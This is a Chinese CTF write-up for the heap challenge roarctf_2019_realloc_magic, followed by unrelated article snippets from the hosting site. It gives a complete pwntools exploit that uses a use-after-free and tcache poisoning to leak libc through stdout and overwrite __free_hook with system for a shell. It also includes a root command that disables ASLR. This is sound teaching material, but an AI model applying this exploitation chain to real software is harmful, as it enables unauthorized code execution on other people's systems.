realloc函数应用IO泄露体验

news2024/11/20 9:26:33

本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook–>onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的

realloc

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

  1. size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
  2. realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
  3. malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
  4. malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

stdout泄露

这里我只给出结论,具体可以参考

  1. 设置_flags & _IO_NO_WRITES = 0

  2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

  3. 设置_flags & _IO_IS_APPENDING = 1

    _flags = 0xFBAD1800
    
  4. 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

具备以上基础我们可以来实战一题了

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位,保护全开

前情提要:

本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

建议关闭linux地址空间随机化(ASLR),方便调试。

在root用户下执行

echo 0 > /proc/sys/kernel/randomize_va_space

realloc

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

free

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}

存在uaf,可以利用起来

这里有个清零指针的函数

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

程序特别简单,但是利用比较精妙,

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

思路

通过realloc,和uaf,构造好tcache的布局

然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

最后正常打free_hook:free_hook-->system-->/bin/sh

首先利用malloc(size)和free(size)在tcache上面先准备好

malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

realloc(0x20,b'b')	#这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

image-20230912125521459

realloc(0x90,b'b')
for i in range(7):
    dele()
realloc(0,"")

这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

为什么第八次free需要使用realloc去free呢?

因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

image-20230912162307540

看一下此时的堆空间

image-20230912162721962

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
realloc(0x50,pl)

这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

后面的"\x60\xc7"看图就知道了

image-20230912170239859

_IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

(因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

直接看成果图

image-20230912162925182

image-20230912162934528

可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

image-20230912170911195

image-20230912183447804

这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58

也就是

image-20230912184335327

_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

然后算出free_hook,system的libc地址,

接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

sla(menu,'666')

realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2 
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
	dele()
realloc(0,"")
realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

完整exp:

from pwn import*

def debug(cmd = 0):
        if cmd == 0:
            gdb.attach(r)
        else:
            gdb.attach(r,cmd)
        pause()

menu=b">>"
def realloc(size,con):
    r.sendlineafter(menu, b'1')
    r.sendlineafter(b'ize',str(size))
    r.sendafter(b'ent',con)
def dele():
    r.sendlineafter(menu,b'2')
    
libc=ELF("libc-2.27.so")

context(os='linux', arch='amd64',log_level='debug')


def pwn():
    realloc(0x20,b'b')
    realloc(0,"")
    realloc(0x90,b'b')
    realloc(0,"")
    realloc(0x10,b'b')
    realloc(0,"")

    realloc(0x90,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x20,b"aaa")
    payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
    #realloc(0x50,b'aaa')
    realloc(0x50,payload)
    
    realloc(0,"")
    realloc(0x90,b'aa')
    realloc(0,"")
    payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
    realloc(0x90,payload)
    #debug()
    leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
    print(hex(leak))
    free=leak+libc.sym['__free_hook']
    system=leak+libc.sym['system']

    r.sendlineafter(menu,'666')

    realloc(0x30,b'a')
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0x10,b'b')#2
    realloc(0,"")
    realloc(0xa0,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x30,b'a')

    payload=p64(0)*7+p64(0x71)+p64(free-8)
    realloc(0x70,payload)
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0xa0,b'/bin/sh\x00'+p64(system))
    dele()
    r.interactive()

for i in range(1):
    try:
        r=process("./pwn")
        pwn()
        break
    except:
        r.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1046336.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C# Winform编程(1)基础篇

C# Winform编程&#xff08;1&#xff09;基础篇 Visual Studio 2022开发环境新建WinForm应用项目WinForm代码结构新键窗体文件从Form1启动Form2修改控件属性退出程序和关闭窗口 Visual Studio 2022开发环境新建WinForm应用项目 WinForm代码结构 Program.cs 程序入口 Applicati…

AMQP[RabbitMQ]小结

消息队列: 组成: 交换器,队列,绑定 作用:异步处理,削峰,服务解耦 交换器 RabbitMQ常见的exchange(交换器)类型: direct–路由键完全匹配才可以 fanout–广播 topic --主题,模糊匹配路由键 队列 messagequeue: 组成: 路由键 routine-key—决定消息发给谁 优先级prio…

vue 普通组件的 局部注册

vue 普通组件的 注册 11 Vue2_3入门到实战-配套资料\01-随堂代码素材\day03\素材\00-准备代码\小兔鲜首页静态页\src

工厂与观察者模式

工厂模式介绍 通过一个加工厂&#xff0c;在这个工厂中添加对应材料&#xff0c;我们就可以得到想要的东西&#xff0c;在程序设计中&#xff0c;这种模式就叫做工厂模式&#xff0c;工厂生成出的产品就是某个类的实例&#xff0c;也就是对象。 关于工厂模式一共有三种&#…

【C++11】左值引用右值引用,移动构造的使用

&#x1f30f;博客主页&#xff1a; 主页 &#x1f516;系列专栏&#xff1a; C ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ &#x1f60d;期待与大家一起进步&#xff01; 文章目录 一、左值与右值二、 引用总结&#xff1a;1.左值&#xff1a;2.右值&#xff1a; 三、…

微服务调用没有返回值,无法组成对象,但是会有feign的信息

事件起因 还是那个项目&#xff0c;至少对于我来说要学习的东西其实还是挺多的。 需求 员工信息管理&#xff0c;员工简历&#xff0c;导出功能&#xff0c;需要去联查员工的各项信息&#xff0c;其中&#xff0c;涉及到微服务的之间的操作出现了问题&#xff0c;目前主要的…

时空碰撞之当Leaflet遇到Echarts

前言 在之前的博客中&#xff0c;有介绍如何进行Leaflet展示的&#xff0c;也有介绍Echarts如何进行高效图表展示的。针对一些时空类的场景&#xff0c;比如需要跟随GIS地图一起进行图表展示&#xff0c;如何在地图上集成图表插件。本文将以常用的Leaflet为例&#xff0c;重点讲…

JAVA中使用CompletableFuture进行异步编程

JAVA中使用CompletableFuture进行异步编程 1、什么是CompletableFuture CompletableFuture 是 JDK8 提供的 Future 增强类&#xff0c;CompletableFuture 异步任务执行线程池&#xff0c;默认是把异步任 务都放在 ForkJoinPool 中执行。 在这种方式中&#xff0c;主线程不会…

I/O

IO 流简介 IO 即 Input/Output&#xff0c;输入和输出。数据输入到计算机内存的过程即输入&#xff0c;反之输出到外部存储&#xff08;比如数据库&#xff0c;文件&#xff0c;远程主机&#xff09;的过程即输出。IO 流在 Java 中分为输入流和输出流&#xff0c;而根据数据的…

DAY47 多表外键联系

一、表设计之关联关系 外键&#xff1a;主键是用于表示数据的唯一性字段&#xff0c;外键是用于建立关联关系的字段&#xff0c;值通常指向另一张表的主键 一对一 什么是一对一的关系&#xff1a;有A,B两张表&#xff0c;A表中一条数据对应B表中的一条数据&#xff0c;称之为一…

Java 设计模式——抽象工厂模式

目录 1.概念2.结构3.实现4.优缺点5.使用场景6.模式扩展7.JDK源码解析——Collection.iterator方法 1.概念 &#xff08;1&#xff09;Java 设计模式——工厂方法模式中考虑的是一类产品的生产&#xff0c;如畜牧场只养动物、电视机厂只生产电视机等。这些工厂只生产同种类产品…

MATLAB m文件格式化

记录一个网上查到的目前感觉挺好用的格式化方法。 原链接&#xff1a; https://cloud.tencent.com/developer/article/2058259 压缩包&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1ZpQ9qGLY7sjcvxzjMPAitw?pwd6666 提取码&#xff1a;6666 下载压缩包&#xf…

【GDB】自定义命令

.gdbinit 文件的使用 gdb自定义命令 自定义命令格式 define <command> <code> end document <command> <help text> end示例 .gdbinit 脚本中输入如下内容 layout asm b 5define print-tyustliecho hello, world\n enddocument print-tyustliusage…

【冒烟测试前置】如何把控提测质量?

你是否碰到过开发提测速度很快&#xff0c;导致项目排队&#xff0c;结果介入测试时&#xff0c;第一条用例都跑不通的情况&#xff1f; 你是否碰到过因为开发提测质量差&#xff0c;导致反复修改&#xff0c;反复提测&#xff0c;反复重复验证的情况&#xff1f; 你是否碰到…

sql数据类型,约束以及单表查询

嘎嘎学撒 数据类型约束条件DML 数据操作语句一、插入数据INSERT二、更新数据UPDATE三、删除数据DELETE四、MySQL单表查询五、关键词 数据类型 常见的数据类型 数值类型&#xff1a; 整数类型 TINYINT SMALLINT MEDIUMINT INT BIGINT 整型可以指定是有符号的和无符号的&#xf…

如何快速做跨业务测试?

当业务任务多且人力资源不充足的情况下&#xff0c;不同业务的同学可能需要去不同的业务进行临时支援&#xff0c;可能在时间方面有长有短&#xff0c;但是如何迈出第一步是很多人需要关心的一件事。 本文以实际跨业务测试经验&#xff08;订单业务测试人员如何测试售后业务&a…

【操作】国标GB28181视频监控EasyGBS平台更新设备信息时间间隔

国标GB28181协议视频平台EasyGBS是基于GB28181协议的视频监控云服务平台&#xff0c;可支持多路设备同时接入&#xff0c;并对多平台、多终端分发出RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流。平台可提供视频监控直播、云端录像、云存储、检索回放、智能告警、语音对讲、平台…

[Python进阶] Pyinstaller打包程序时为程序添加图标

5.5 Pyinstaller打包程序时为程序添加图标 5.5.1 程序图标的好处 增强可识别性&#xff1a;图标是一种视觉语言&#xff0c;能够提高应用程序的可识别性&#xff0c;使其在众多应用程序中更容易被用户找到和识别。 帮助用户理解应用程序功能&#xff1a;图标可以快速传达应用…

硬件基本功--电阻/电容/电感/二极管

一、电阻 电阻的主要参数&#xff1a;阻值、精度、封装、功率、耐压 电阻在电路中的作用&#xff1a;分压、限流、采样、偏置等等 阻值&#xff1a;103 10*1000 10KΩ 电阻流过电流&#xff0c;就会有压降&#xff0c;从而产生功率损耗 电阻封装、功率、耐压的关系&#xff1…

青云1000----华为昇腾310 注意事项

青云1000帮助文档 只是一部分&#xff0c;后续遇到的问题会补充 注意事项&#xff01;&#xff01;&#xff01;&#xff01; type-c只用于数据传输不能供电DC供电和锂电池不能同时供电&#xff0c;会烧掉风扇正负级不要插反 账户密码 HwHiAiUser 密码Mind123 TypeC USB …